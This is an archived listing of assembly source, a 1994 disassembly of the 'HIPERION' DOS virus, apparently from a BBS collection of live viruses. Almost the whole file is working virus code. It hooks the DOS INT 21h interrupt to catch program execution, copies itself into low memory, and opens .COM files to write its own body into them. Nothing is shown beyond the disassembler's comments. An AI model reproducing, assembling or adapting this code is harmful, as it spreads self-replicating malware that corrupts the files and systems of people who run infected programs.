home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / hiperion.asm < prev    next >
Assembly Source File  |  1994-03-05  |  5KB  |  205 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;Disassembly by Adam Jenkins using Sourcer, 1994
  5. ;██████████████████████████████████████████████████████████████████████████
  6. ;██                                         ██
  7. ;██                    HIPERION                     ██
  8. ;██                                         ██
  9. ;██      Created:   21-Dec-93                             ██
  10. ;██      Passes:    9           Analysis Options on: none             ██
  11. ;██                                         ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.  
  14. data_1e        equ    5
  15. data_2e        equ    1Ah
  16. data_3e        equ    0CDh
  17. data_4e        equ    0CEh
  18. data_5e        equ    0FDh
  19. data_6e        equ    0FFh
  20.  
  21. seg_a        segment    byte public
  22.         assume    cs:seg_a, ds:seg_a
  23.  
  24.  
  25.         org    100h
  26.  
  27. hiperion    proc    far
  28.  
  29. start::
  30.         mov    bp,offset loc_3
  31.         jmp    bp            ;*Register jump
  32.         db    '................................'
  33.         db    '................................'
  34.         db    '................................'
  35.         db    '............................'
  36.         db    0CDh, 20h
  37. loc_3::
  38.         mov    si,data_1e
  39. loc_4::
  40.         mov    al,[bp+si+19h]
  41.         nop
  42.         mov    ds:data_6e[si],al
  43.         dec    si
  44.         jnz    loc_4            ; Jump if not zero
  45.         push    es
  46.         push    ds
  47.         call    sub_7
  48.         pop    ds
  49.         pop    es
  50.         mov    bp,offset start
  51.         jmp    bp            ;*Register jump
  52.         jmp    short loc_8
  53.         db     2Eh, 2Eh, 2Eh, 90h, 9Ch, 50h
  54.         db     80h,0FCh, 4Bh, 75h, 13h, 06h
  55.         db     53h, 51h, 56h, 1Eh, 52h, 55h
  56.         db     33h,0EDh,0E8h, 0Fh, 00h, 5Dh
  57.         db     5Ah, 1Fh, 5Eh, 59h, 5Bh, 07h
  58.         db     58h, 9Dh,0EAh, 92h, 14h, 69h
  59.         db     05h, 90h
  60.         db     0Eh, 07h,0E8h, 47h, 00h, 72h
  61.         db     44h,0E8h, 61h, 00h, 72h, 3Fh
  62.         db    0E8h, 72h, 00h, 05h, 00h, 01h
  63.         db     2Eh, 89h, 86h,0CEh, 00h,0E8h
  64.         db     5Dh, 00h
  65.         db    0BAh, 1Ah, 00h, 03h,0D5h,0B9h
  66.         db     05h, 00h,0B4h, 3Fh,0CDh, 21h
  67.         db     2Eh, 80h, 7Eh, 1Ah,0BDh, 74h
  68.         db     1Eh,0E8h, 47h, 00h
  69.         db    0BAh,0CDh, 00h, 03h,0D5h,0B9h
  70.         db     05h, 00h,0B4h, 40h,0CDh, 21h
  71.         db    0E8h, 42h, 00h,0B9h,0FEh, 00h
  72.         db     8Bh,0D5h,0B4h, 40h,0CDh, 21h
  73.         db    0E8h, 1Bh, 00h
  74.  
  75. loc_ret_6::
  76.         retn
  77.  
  78. hiperion    endp
  79.  
  80. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  81. ;                   SUBROUTINE
  82. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  83.  
  84. sub_2        proc    near
  85.         push    bx
  86.         mov    bx,dx
  87. loc_7::
  88.         inc    bx
  89.         cmp    byte ptr [bx],2Eh    ; '.'
  90.         jne    loc_7            ; Jump if not equal
  91.         inc    bx
  92.         cmp    byte ptr [bx],43h    ; 'C'
  93. loc_8::
  94.         je    loc_9            ; Jump if equal
  95.         cmp    byte ptr [bx],63h    ; 'c'
  96.         je    loc_9            ; Jump if equal
  97.         pop    bx
  98.         stc                ; Set carry flag
  99.         retn
  100. loc_9::
  101.         pop    bx
  102.         clc                ; Clear carry flag
  103.         retn
  104. sub_2        endp
  105.  
  106.  
  107. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  108. ;                   SUBROUTINE
  109. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  110.  
  111. sub_3        proc    near
  112.         mov    ah,3Eh            ; '>'
  113.         int    21h            ; DOS Services  ah=function 3Eh
  114.                         ;  close file, bx=file handle
  115.         retn
  116. sub_3        endp
  117.  
  118.  
  119. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  120. ;                   SUBROUTINE
  121. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  122.  
  123. sub_4        proc    near
  124.         mov    ax,3D02h
  125.         int    21h            ; DOS Services  ah=function 3Dh
  126.                         ;  open file, al=mode,name@ds:dx
  127.         pushf                ; Push flags
  128.         mov    bx,ax
  129.         push    cs
  130.         pop    ds
  131.         popf                ; Pop flags
  132.         retn
  133. sub_4        endp
  134.  
  135.  
  136. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  137. ;                   SUBROUTINE
  138. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  139.  
  140. sub_5        proc    near
  141.         xor    cx,cx            ; Zero register
  142.         xor    dx,dx            ; Zero register
  143.         mov    ax,4200h
  144.         int    21h            ; DOS Services  ah=function 42h
  145.                         ;  move file ptr, bx=file handle
  146.                         ;   al=method, cx,dx=offset
  147.         retn
  148. sub_5        endp
  149.  
  150.  
  151. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  152. ;                   SUBROUTINE
  153. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  154.  
  155. sub_6        proc    near
  156.         xor    cx,cx            ; Zero register
  157.         xor    dx,dx            ; Zero register
  158.         mov    ax,4202h
  159.         int    21h            ; DOS Services  ah=function 42h
  160.                         ;  move file ptr, bx=file handle
  161.                         ;   al=method, cx,dx=offset
  162.         retn
  163. sub_6        endp
  164.  
  165.         db    0BDh, 83h, 01h,0FFh,0E5h
  166.  
  167. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  168. ;                   SUBROUTINE
  169. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  170.  
  171. sub_7        proc    near
  172.         mov    ax,3521h
  173.         int    21h            ; DOS Services  ah=function 35h
  174.                         ;  get intrpt vector al in es:bx
  175.         mov    [bp+3Dh],bx
  176.         mov    ax,es
  177.         cmp    ax,60h
  178.         je    loc_ret_11        ; Jump if equal
  179.         mov    [bp+3Fh],ax
  180.         mov    si,data_5e
  181.         mov    ax,60h
  182.         mov    ds,ax
  183. loc_10::
  184.         mov    ah,cs:[bp+si]
  185.         mov    [si],ah
  186.         dec    si
  187.         jge    loc_10            ; Jump if > or =
  188. ;*        mov    dx,offset loc_1        ;*
  189.         db    0BAh, 1Fh, 00h
  190.         mov    ax,2521h
  191.         int    21h            ; DOS Services  ah=function 25h
  192.                         ;  set intrpt vector al to ds:dx
  193.  
  194. loc_ret_11::
  195.         retn
  196. sub_7        endp
  197.  
  198.         db    33h
  199.  
  200. seg_a        ends
  201.  
  202.  
  203.  
  204.         end    start
  205.